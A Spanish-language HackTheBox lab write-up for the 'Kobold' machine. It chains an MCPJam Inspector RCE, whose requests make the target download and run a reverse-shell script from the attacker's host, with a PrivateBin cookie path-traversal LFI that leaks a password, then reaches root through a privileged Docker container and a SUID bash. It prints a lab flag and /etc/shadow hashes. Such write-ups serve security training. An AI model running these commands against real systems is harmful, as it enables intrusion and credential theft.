Contents

HackTheBox - Kobold

HackTheBox - Kobold

Informacion de la Maquina

En Kobold se enumeraron subdominios donde se identifico software/aplicaciones que, basadas en sus versiones se descubrieron vulnerabilidades. La primera, MCPJam Inspector con una del tipo RCE que permitio el acceso inicial. Una segunda en PrivateBin del tipo LFI, permitio la lectura de la configuracion para descubrir credenciales. Esta ultima permitio acceso a Arcane para escalar privilegios con un contenedor privilegiado de Docker.

DificultadFACIL
OSLinux
Fecha de Salida2026-03-21
Makersau123
First User BloodJaxT (0H 8M 25S)
First Root BloodJaxT (0H 30M 52S)
Rated Difficulty
Machine Matrix

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

bash
  1# Nmap 7.95 scan initiated Sun Mar 22 01:41:13 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,443,3552 -sV -sC -oN nmap_scan 10.129.12.55
  2Nmap scan report for 10.129.12.55
  3Host is up (0.070s latency).
  4
  5PORT     STATE SERVICE  VERSION
  622/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
  7| ssh-hostkey: 
  8|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
  9|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
 1080/tcp   open  http     nginx 1.24.0 (Ubuntu)
 11|_http-title: Did not follow redirect to https://kobold.htb/
 12|_http-server-header: nginx/1.24.0 (Ubuntu)
 13443/tcp  open  ssl/http nginx 1.24.0 (Ubuntu)
 14| tls-alpn: 
 15|   http/1.1
 16|   http/1.0
 17|_  http/0.9
 18|_ssl-date: TLS randomness does not represent time
 19| ssl-cert: Subject: commonName=kobold.htb
 20| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
 21| Not valid before: 2026-03-15T15:08:55
 22|_Not valid after:  2125-02-19T15:08:55
 23|_http-server-header: nginx/1.24.0 (Ubuntu)
 24|_http-title: Did not follow redirect to https://kobold.htb/
 253552/tcp open  http     Golang net/http server
 26|_http-title: Site doesn't have a title (text/html; charset=utf-8).
 27| fingerprint-strings: 
 28|   GenericLines: 
 29|     HTTP/1.1 400 Bad Request
 30|     Content-Type: text/plain; charset=utf-8
 31|     Connection: close
 32|     Request
 33|   GetRequest: 
 34|     HTTP/1.0 200 OK
 35|     Accept-Ranges: bytes
 36|     Cache-Control: no-cache, no-store, must-revalidate
 37|     Content-Length: 2081
 38|     Content-Type: text/html; charset=utf-8
 39|     Expires: 0
 40|     Pragma: no-cache
 41|     Date: Sun, 22 Mar 2026 07:40:15 GMT
 42|     <!doctype html>
 43|     <html lang="%lang%">
 44|     <head>
 45|     <meta charset="utf-8" />
 46|     <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
 47|     <meta http-equiv="Pragma" content="no-cache" />
 48|     <meta http-equiv="Expires" content="0" />
 49|     <link rel="icon" href="/api/app-images/favicon" />
 50|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
 51|     <link rel="manifest" href="/app.webmanifest" />
 52|     <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
 53|     <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
 54|     <link rel="modu
 55|   HTTPOptions: 
 56|     HTTP/1.0 200 OK
 57|     Accept-Ranges: bytes
 58|     Cache-Control: no-cache, no-store, must-revalidate
 59|     Content-Length: 2081
 60|     Content-Type: text/html; charset=utf-8
 61|     Expires: 0
 62|     Pragma: no-cache
 63|     Date: Sun, 22 Mar 2026 07:40:16 GMT
 64|     <!doctype html>
 65|     <html lang="%lang%">
 66|     <head>
 67|     <meta charset="utf-8" />
 68|     <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
 69|     <meta http-equiv="Pragma" content="no-cache" />
 70|     <meta http-equiv="Expires" content="0" />
 71|     <link rel="icon" href="/api/app-images/favicon" />
 72|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
 73|     <link rel="manifest" href="/app.webmanifest" />
 74|     <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
 75|     <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
 76|_    <link rel="modu
 771 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
 78SF-Port3552-TCP:V=7.95%I=7%D=3/22%Time=69BF9D1E%P=x86_64-pc-linux-gnu%r(Ge
 79SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
 80SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
 81SF:20Request")%r(GetRequest,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\
 82SF:x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalidate
 83SF:\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charset=u
 84SF:tf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sun,\x2022\x20
 85SF:Mar\x202026\x2007:40:15\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20lang
 86SF:=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<meta
 87SF:\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,\x2
 88SF:0must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20content
 89SF:=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=\"0
 90SF:\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favicon\"
 91SF:\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,
 92SF:\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20/>\
 93SF:n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n\t\
 94SF:t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x20m
 95SF:edia=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name=\"
 96SF:theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x20m
 97SF:edia=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x20re
 98SF:l=\"modu")%r(HTTPOptions,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\
 99SF:x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalidate
100SF:\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charset=u
101SF:tf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sun,\x2022\x20
102SF:Mar\x202026\x2007:40:16\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20lang
103SF:=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<meta
104SF:\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,\x2
105SF:0must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20content
106SF:=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=\"0
107SF:\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favicon\"
108SF:\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,
109SF:\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20/>\
110SF:n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n\t\
111SF:t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x20m
112SF:edia=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name=\"
113SF:theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x20m
114SF:edia=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x20re
115SF:l=\"modu");
116Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
117
118Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
119# Nmap done at Sun Mar 22 01:41:45 2026 -- 1 IP address (1 host up) scanned in 32.12 seconds

Agregamos a nuestro archivo /etc/hosts el dominio kobold.htb.

Web Site - TCP 443

El puerto 80 nos redirige al puerto 443 (https).

bash
 1❯ curl -sI kobold.htb
 2HTTP/1.1 301 Moved Permanently
 3Server: nginx/1.24.0 (Ubuntu)
 4Date: Sun, 22 Mar 2026 07:43:15 GMT
 5Content-Type: text/html
 6Content-Length: 178
 7Connection: keep-alive
 8Location: https://kobold.htb/
 9
10❯

El sitio describe un enfoque de administracion de servicios, entre otros.

image

Directory Brute Forcing

feroxbuster unicamente muestra index.html.

bash
 1❯ feroxbuster -k -u https://kobold.htb/ -w $CM
 2                                                                                                                                                                                        
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.13.0
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ https://kobold.htb/
 9 🚩  In-Scope Url          │ kobold.htb
10 🚀  Threads               │ 50
11 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
12 👌  Status Codes          │ All Status Codes!
13 💥  Timeout (secs)        │ 7
14 🦡  User-Agent            │ feroxbuster/2.13.0
15 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
16 🔎  Extract Links         │ true
17 🏁  HTTP methods          │ [GET]
18 🔓  Insecure              │ true
19 🔃  Recursion Depth       │ 4
20 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
21───────────────────────────┴──────────────────────
22 🏁  Press [ENTER] to use the Scan Management Menu™
23──────────────────────────────────────────────────
24404      GET        1l        3w       16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
25200      GET      186l      380w     3812c https://kobold.htb/
26200      GET      186l      380w     3812c https://kobold.htb/index.html
27❯

Subdomain Discovery

ffuf muestra dos subdominios bin y mcp.

bash
 1❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.kobold.htb" -k -u https://kobold.htb -fl 8
 2
 3        /'___\  /'___\           /'___\       
 4       /\ \__/ /\ \__/  __  __  /\ \__/       
 5       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 6        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
 7         \ \_\   \ \_\  \ \____/  \ \_\       
 8          \/_/    \/_/   \/___/    \/_/       
 9
10       v2.1.0-dev
11________________________________________________
12
13 :: Method           : GET
14 :: URL              : https://kobold.htb
15 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
16 :: Header           : Host: FUZZ.kobold.htb
17 :: Follow redirects : false
18 :: Calibration      : false
19 :: Timeout          : 10
20 :: Threads          : 40
21 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
22 :: Filter           : Response lines: 8
23________________________________________________
24
25bin                     [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 244ms]
26mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 180ms]
27:: Progress: [151265/151265] :: Job [1/1] :: 573 req/sec :: Duration: [0:04:30] :: Errors: 0 ::
28❯

bin.kobold.htb

En el subdmonio bin corre PrivateBin en su version 2.0.2.

image

mcp.kobold.htb

En mcp corre MCPJam - Inspector en su version 1.4.2.

image

TCP 3552

En este puerto encontramos arcane en su version 1.13.0.

image

Vulnerabilities

Verificamos las versiones de PrivateBin, MCPJam Inspector y Arcane por posibles vulnerabilidades logrando identificar dos.

CVE-2025-64714

PrivateBin en su version 2.0.2, tiene una vulnerabilidad tipo LFI (CVE-2025-64714) a traves de la cookie template. En BurpSuite editamos la cookie apuntando al archivo shortenerproxy.php, este muestra el contenido.

image

CVE-2026-23744

MCPJam - Inspector version 1.4.2, tiene un RCE (CVE-2026-23744) en el endpoint de su api /api/mcp/connect. Ejecutamos el PoC, para realizar una solicitud con curl a nuestro servidor http.

bash
1❯ curl -k https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"curl\",\"args\":[\"-s\", \"10.10.15.242\"],\"env\":{}},\"serverId\":\"mytest\"}"
2{"success":false,"error":"Connection failed for server mytest: MCP error -32000: Connection closed","details":"MCP error -32000: Connection closed"}
3❯

La solicitud se muestra en el servidor, por lo que el comando fue ejecutado.

bash
1❯ httphere .
2[sudo] password for kali: 
3Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
410.129.12.55 - - [22/Mar/2026 01:58:28] "GET / HTTP/1.1" 200 -

User - Ben

MCPJam

Con la vulnerabilidad de MCPJam (CVE-2026-23744) ejecutamos una shell inversa con shells. Con curl guardamos nuestro archivo de shells en /tmp.

bash
 1POST /api/mcp/connect HTTP/1.1
 2Host: mcp.kobold.htb
 3User-Agent: curl/8.15.0
 4Accept: */*
 5Content-Type: application/json
 6Content-Length: 140
 7Connection: keep-alive
 8
 9{
10   "serverConfig":{
11      "command":"curl",
12      "args":[
13         "-s",
14         "10.10.15.242:8000/10.10.15.242:1336",
15         "-o",
16         "/tmp/out.sh"
17      ],
18      "env":{
19         
20      }
21   },
22   "serverId":"mytest"
23}

Para luego realizar la ejecucion del archivo con bash.

bash
 1POST /api/mcp/connect HTTP/1.1
 2Host: mcp.kobold.htb
 3User-Agent: curl/8.15.0
 4Accept: */*
 5Content-Type: application/json
 6Content-Length: 89
 7Connection: keep-alive
 8
 9{
10   "serverConfig":{
11      "command":"bash",
12      "args":[
13         "/tmp/out.sh"
14      ],
15      "env":{
16         
17      }
18   },
19   "serverId":"mytest"
20}

Para lograr el acceso como ben y la flag user.txt.

bash
 1❯ rlwrap nc -lvp 1336
 2listening on [any] 1336 ...
 3connect to [10.10.15.242] from kobold.htb [10.129.12.55] 38308
 4/bin/sh: 0: can't access tty; job control turned off
 5$ whoami;id;pwd
 6ben
 7uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
 8/usr/local/lib/node_modules/@mcpjam/inspector
 9$ cd
10$ ls
11user.txt
12$ cat user.txt
13e102e528ef622761431dd7251ed39f87
14$

File Enumeration

Localmente encontramos dos usuarios registrados.

bash
1$ cat /etc/passwd | grep sh$
2root:x:0:0:root:/root:/bin/bash
3ben:x:1001:1001::/home/ben:/bin/bash
4alice:x:1002:1002::/home/alice:/bin/bash
5$

En la configuracion de nginx vemos el dominio y los dos subdominios.

bash
1ben@kobold:/etc/nginx/sites-enabled$ ls -lah
2total 16K
3drwxr-xr-x 2 root root 4.0K Mar 15 21:23 .
4drwxr-xr-x 8 root root 4.0K Mar 15 21:23 ..
5lrwxrwxrwx 1 root root   34 Mar 15 14:31 default -> /etc/nginx/sites-available/default
6-rw-r--r-- 1 root root  662 Mar 15 15:42 mcpjam
7-rw-r--r-- 1 root root  670 Mar 15 14:35 privatebin
8ben@kobold:/etc/nginx/sites-enabled$

Los tres utilizan el mismo certificado almacenado en /privatebin-data/.

bash
 1ben@kobold:/etc/nginx/sites-enabled$ cat default
 2cat default
 3server {
 4    listen 80;
 5    server_name kobold.htb;
 6    return 301 https://kobold.htb$request_uri;
 7}
 8
 9server {
10    listen 443 ssl;
11    server_name kobold.htb;
12
13    ssl_certificate /privatebin-data/certs/cert.pem;
14    ssl_certificate_key /privatebin-data/certs/key.pem;
15
16    root /var/www/html;
17    index index.html index.htm index.php;
18
19    access_log /var/log/nginx/access.log combined;
20    error_log /var/log/nginx/error.log;
21
22    location / {
23        try_files $uri $uri/ /index.php?$query_string;
24    }
25
26    location ~ \.php$ {
27        include fastcgi_params;
28        fastcgi_pass unix:/run/php/php8.3-fpm.sock;
29        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
30    }
31
32    if ($host != kobold.htb) {
33        rewrite ^ https://kobold.htb/;
34    }
35}
36ben@kobold:/etc/nginx/sites-enabled$ cat mcpjam
37server {
38    listen 80;
39    server_name mcp.kobold.htb;
40    return 301 https://mcp.kobold.htb$request_uri;
41}
42
43server {
44    listen 443 ssl;
45    server_name mcp.kobold.htb;
46
47    ssl_certificate /privatebin-data/certs/cert.pem;
48    ssl_certificate_key /privatebin-data/certs/key.pem;
49
50    access_log /var/log/nginx/mcpjam_access.log combined;
51    error_log /var/log/nginx/mcpjam_error.log;
52
53    location / {
54        proxy_pass http://127.0.0.1:6274;
55        proxy_set_header Host $host;
56        proxy_set_header X-Real-IP $remote_addr;
57        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
58        proxy_set_header X-Forwarded-Proto $scheme;
59    }
60}
61ben@kobold:/etc/nginx/sites-enabled$ cat privatebin
62server {
63    listen 80;
64    server_name bin.kobold.htb;
65    return 301 https://bin.kobold.htb$request_uri;
66}
67
68server {
69    listen 443 ssl;
70    server_name bin.kobold.htb;
71
72    ssl_certificate /privatebin-data/certs/cert.pem;
73    ssl_certificate_key /privatebin-data/certs/key.pem;
74
75    access_log /var/log/nginx/privatebin_access.log combined;
76    error_log /var/log/nginx/privatebin_error.log;
77
78    location / {
79        proxy_pass http://127.0.0.1:8080;
80        proxy_set_header Host $host;
81        proxy_set_header X-Real-IP $remote_addr;
82        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
83        proxy_set_header X-Forwarded-Proto $scheme;
84    }
85}
86ben@kobold:/etc/nginx/sites-enabled$

En este directorio, ben, como miembro del grupo operator tiene acceso a certs/ y data/.

bash
 1ben@kobold:/privatebin-data$ ls -lah
 2total 20K
 3drwxrwx---  5 root operator 4.0K Mar 15 21:23 .
 4drwxr-xr-x 22 root root     4.0K Mar 16 20:57 ..
 5drwxrwx---  2 root operator 4.0K Mar 15 21:23 certs
 6drwxr-x---  2 root       82 4.0K Mar 15 21:23 cfg
 7drwxrwxrwx  6 root operator 4.0K Mar 22 08:11 data
 8ben@kobold:/privatebin-data$ id
 9uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
10ben@kobold:/privatebin-data$

PrivateBin

En la documentacion de docker para PrivateBin se indica el directorio privatebin-data en el host y /srv/data en el contenedor. Si este fuera el caso, el archivo hello.php seria ejecutado con la vulnerabilidad LFI (CVE-2025-64714) mencionada anteriormente.

bash
 1ben@kobold:/privatebin-data/data$ ls -lah
 2total 44K
 3drwxrwxrwx 7 root   operator 4.0K Mar 22 09:14 .
 4drwxrwx--- 5 root   operator 4.0K Mar 15 21:23 ..
 5-rwxrwxrwx 1 root   operator   19 Feb 16 08:29 .htaccess
 6drwx------ 3 nobody       82 4.0K Mar 15 21:23 12
 7drwx------ 3 nobody       82 4.0K Mar 22 09:07 91
 8drwxrwxrwx 3 root   operator 4.0K Mar 15 21:23 bd
 9drwx------ 3 root   operator 4.0K Mar 15 21:23 e3
10drwx------ 3 nobody       82 4.0K Mar 22 08:11 ef
11-rwxrwxrwx 1 root   operator   47 Mar 22 09:07 purge_limiter.php
12-rwxrwxrwx 1 root   operator  522 Feb 16 08:29 salt.php
13-rw-r----- 1 root   operator  132 Feb 16 08:34 traffic_limiter.php
14ben@kobold:/privatebin-data/data$ echo '<?php echo("hello");' > hello.php
15ben@kobold:/privatebin-data/data$ cat hello.php
16<?php echo("hello");
17ben@kobold:/privatebin-data/data$

Observamos que el codigo en el archivo fue ejecutado.

image

Aunque, al intentar ejecutar funciones como system(), causan error 500.

bash
1echo '<?php system("whoami");' > cmd.php

Intentamos la lectura del archivo de configuracion.

bash
1ben@kobold:/privatebin-data/data$ echo "<?php file_put_contents('/srv/data/conf.txt', file_get_contents('/srv/cfg/conf.php')); ?>" > read_conf.php; chmod 777 read_conf.php
2ben@kobold:/privatebin-data/data$ cat read_conf.php
3<?php file_put_contents('/srv/data/conf.txt', file_get_contents('/srv/cfg/conf.php')); ?>
4ben@kobold:/privatebin-data/data$
5 

Ejecutamos el archivo a traves de la cookie.

bash
1Cookie: template=../../../../../../../srv/data/read_conf; 

Se creo el archivo con la configuracion.

bash
 1ben@kobold:/privatebin-data/data$ ls -lah
 2total 1.6M
 3drwxrwxrwx 11 root   operator 4.0K Mar 22 11:25 .
 4drwxrwx---  5 root   operator 4.0K Mar 15 21:23 ..
 5-rwxrwxrwx  1 root   operator   19 Feb 16 08:29 .htaccess
 6drwx------  3 nobody       82 4.0K Mar 15 21:23 12
 7drwx------  3 nobody       82 4.0K Mar 22 09:36 7e
 8drwx------  3 nobody       82 4.0K Mar 22 09:31 80
 9drwx------  3 nobody       82 4.0K Mar 22 09:07 91
10drwx------  3 nobody       82 4.0K Mar 22 10:39 97
11drwxrwxrwx  3 root   operator 4.0K Mar 15 21:23 bd
12-rw-r--r--  1 nobody       82  26K Mar 22 11:25 conf.txt
13drwx------  3 nobody       82 4.0K Mar 22 09:29 e1
14drwx------  3 root   operator 4.0K Mar 15 21:23 e3
15drwx------  3 nobody       82 4.0K Mar 22 08:11 ef
16-rw-r--r--  1 ben    ben        21 Mar 22 09:20 hello.php
17-rwxrwxrwx  1 root   operator   47 Mar 22 10:39 purge_limiter.php
18-rwxrwxrwx  1 ben    ben        90 Mar 22 11:24 read_conf.php
19-rwxrwxrwx  1 root   operator  522 Feb 16 08:29 salt.php
20-rw-r-----  1 root   operator  132 Feb 16 08:34 traffic_limiter.php
21ben@kobold:/privatebin-data/data$

En este encontramos un par de credenciales.

bash
 1ben@kobold:/privatebin-data/data$ cat conf.txt| grep -v ";" | grep -v '^$'
 2[main]
 3discussion = true
 4opendiscussion = false
 5password = true
 6# ... skip ...
 7availabletemplates[] = "bootstrap-compact-page"
 8# ... skip ...
 9[model_options]
10usr = "privatebin"
11pwd = "ComplexP@sswordAdmin1928"
12ben@kobold:/privatebin-data/data$

Privesc via Arcane

El usuario privatebin no es aceptado con la contrasena, pero arcane si, nos dio acceso al dashboard.

image

Se listan los contenedores en ejecucion. Tambien, es posible crear nuevos.

image

Creamos un nuevo contenedor privilegiado especificando:

  • Command: /bin/sh
  • User: root
  • Volumes: /:/mnt
  • Security: Privileged mode

Se lista el nuevo contenedor.

image

A traves de la shell interactiva logramos acceso root en el contenedor y en la raiz del host en /mnt, logrando la lectura de root.txt.

image

Shell

Para obtener una shell directa realizamos la copia de bash dandole permisos SUID.

bash
1sh-5.1# pwd     
2/mnt
3sh-5.1# ls bin/bash
4bin/bash
5sh-5.1# cp bin/bash home/ben/sh   
6sh-5.1# bin/chmod u+s home/ben/sh
7sh-5.1#

Con ben ejecutamos la copia como privilegiada obteniendo acceso root.

bash
1ben@kobold:~$ ls
2sh  user.txt
3ben@kobold:~$ ./sh -p
4sh-5.2# whoami;id
5root
6uid=1001(ben) gid=1001(ben) euid=0(root) groups=1001(ben),37(operator)
7sh-5.2#

Loot

Hashes

Realizamos la lectura del archivo /etc/shadow.

bash
 1# cat /etc/shadow
 2root:$y$j9T$Y2.8/1PJQyHeLyWzEs47k/$HBHuW.lG1nwRHlGBpVaM/a3sFHUcij5Gj3loTXPD.Z4:20500:0:99999:7:::
 3daemon:*:20135:0:99999:7:::
 4bin:*:20135:0:99999:7:::
 5sys:*:20135:0:99999:7:::
 6sync:*:20135:0:99999:7:::
 7games:*:20135:0:99999:7:::
 8man:*:20135:0:99999:7:::
 9lp:*:20135:0:99999:7:::
10mail:*:20135:0:99999:7:::
11news:*:20135:0:99999:7:::
12uucp:*:20135:0:99999:7:::
13proxy:*:20135:0:99999:7:::
14www-data:*:20135:0:99999:7:::
15backup:*:20135:0:99999:7:::
16list:*:20135:0:99999:7:::
17irc:*:20135:0:99999:7:::
18_apt:*:20135:0:99999:7:::
19nobody:*:20135:0:99999:7:::
20systemd-network:!*:20135::::::
21systemd-timesync:!*:20135::::::
22messagebus:!:20135::::::
23systemd-resolve:!*:20135::::::
24pollinate:!:20135::::::
25polkitd:!*:20135::::::
26syslog:!:20135::::::
27uuidd:!:20135::::::
28tcpdump:!:20135::::::
29tss:!:20135::::::
30landscape:!:20135::::::
31fwupd-refresh:!*:20135::::::
32usbmux:!:20140::::::
33sshd:!:20140::::::
34ben:$y$j9T$EzqiYW7RXL4Cig/dfKneT/$i0sOaXFxXiljmyJOTdffaHdRohgbyGVvReTYIOByLc5:20499:0:99999:7:::
35dnsmasq:!:20499::::::
36alice:$y$j9T$ntNq4JVBAI64c2Nl8qY9I.$AOCzydYr01o8CPr2H7RR9bKCJe0NZ4IS1Ap2TDvgbM6:20499:0:99999:7:::
37_laurel:!:20527::::::
38#
sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev HackTheBox - Fries
Next HackTheBox - Helix